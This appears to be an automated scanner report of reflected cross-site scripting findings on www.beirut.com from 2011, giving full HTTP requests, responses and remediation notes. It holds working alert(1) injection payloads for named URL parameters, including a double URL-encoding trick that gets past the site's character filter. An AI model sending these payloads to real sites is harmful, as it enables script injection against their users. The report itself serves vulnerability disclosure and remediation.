GET /JustForKids973ad'-alert(1)-'ed30901e052/Recreation-and-Fun/11-locale HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:23:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60249
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='JustForKids973ad'-alert(1)-'ed30901e052'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 867d5"><a>a2aa381f760 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /JustForKids867d5"><a>a2aa381f760/Recreation-and-Fun/11-locale HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:16:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60694
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="JustForKids867d5"><a>a2aa381f760"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 700f9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e848ee228d11 was submitted in the REST URL parameter 3. This input was echoed as 700f9"><script>alert(1)</script>848ee228d11 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /JustForKids/Recreation-and-Fun/11-locale700f9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e848ee228d11 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:29:36 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54344
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=blue&indexpage=JustForKids&listingtype=justforkids.php&Types=11-locale700f9"><script>alert(1)</script>848ee228d11"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b265"><a>ad10578e158 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /JustForKids5b265"><a>ad10578e158/Shops/8-locale HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:16:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60518
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="JustForKids5b265"><a>ad10578e158"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cde6d'-alert(1)-'4255c5d89e2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /JustForKidscde6d'-alert(1)-'4255c5d89e2/Shops/8-locale HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:23:30 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60375
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='JustForKidscde6d'-alert(1)-'4255c5d89e2'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe0e2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3d4876ec01c was submitted in the REST URL parameter 3. This input was echoed as fe0e2"><script>alert(1)</script>3d4876ec01c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /JustForKids/Shops/8-localefe0e2%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3d4876ec01c HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:29:38 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54342
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=blue&indexpage=JustForKids&listingtype=justforkids.php&Types=8-localefe0e2"><script>alert(1)</script>3d4876ec01c"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3bdf7'-alert(1)-'128f90b41cd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /JustForKids3bdf7'-alert(1)-'128f90b41cd/Sports/1-event HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:23:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60550
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='JustForKids3bdf7'-alert(1)-'128f90b41cd'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb9e0"><a>9dd7ca5e8d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /JustForKidsbb9e0"><a>9dd7ca5e8d/Sports/1-event HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:13:51 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60478
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="JustForKidsbb9e0"><a>9dd7ca5e8d"> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1beb1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e45540681358 was submitted in the REST URL parameter 3. This input was echoed as 1beb1"><script>alert(1)</script>45540681358 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /JustForKids/Sports/1-event1beb1%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e45540681358 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:34:02 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54353
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=purple&indexpage=JustForKids&listingtype=justforkids.php&Types=1-event1beb1"><script>alert(1)</script>45540681358"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4b593'-alert(1)-'8865ccc3e21 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Movies4b593'-alert(1)-'8865ccc3e21 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:42:00 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61066
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Movies4b593'-alert(1)-'8865ccc3e21'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f0d6"><a>1c13d275cd3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Movies7f0d6"><a>1c13d275cd3 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:33:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61054
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Movies7f0d6"><a>1c13d275cd3"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56f5f"><a>5d1b1f40a8b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Movies56f5f"><a>5d1b1f40a8b/Cinemas/Dunes/1083 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:34:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61048
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Movies56f5f"><a>5d1b1f40a8b"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 26b89'-alert(1)-'ed4f110a366 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Movies26b89'-alert(1)-'ed4f110a366/Cinemas/Dunes/1083 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:42:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61068
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Movies26b89'-alert(1)-'ed4f110a366'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8d8a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea2386c42c93 was submitted in the REST URL parameter 4. This input was echoed as a8d8a"><script>alert(1)</script>a2386c42c93 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /Movies/Cinemas/Dunes/1083a8d8a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea2386c42c93 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:54:32 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55234
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <a id="submitlisting_footer" rel="facebox" href="/submitaListing.php?randstyle=magenta&indexpage=Movies&listingtype=movies.php&Types=1083a8d8a"><script>alert(1)</script>a2386c42c93"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3cfdf'-alert(1)-'08a5d997df8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
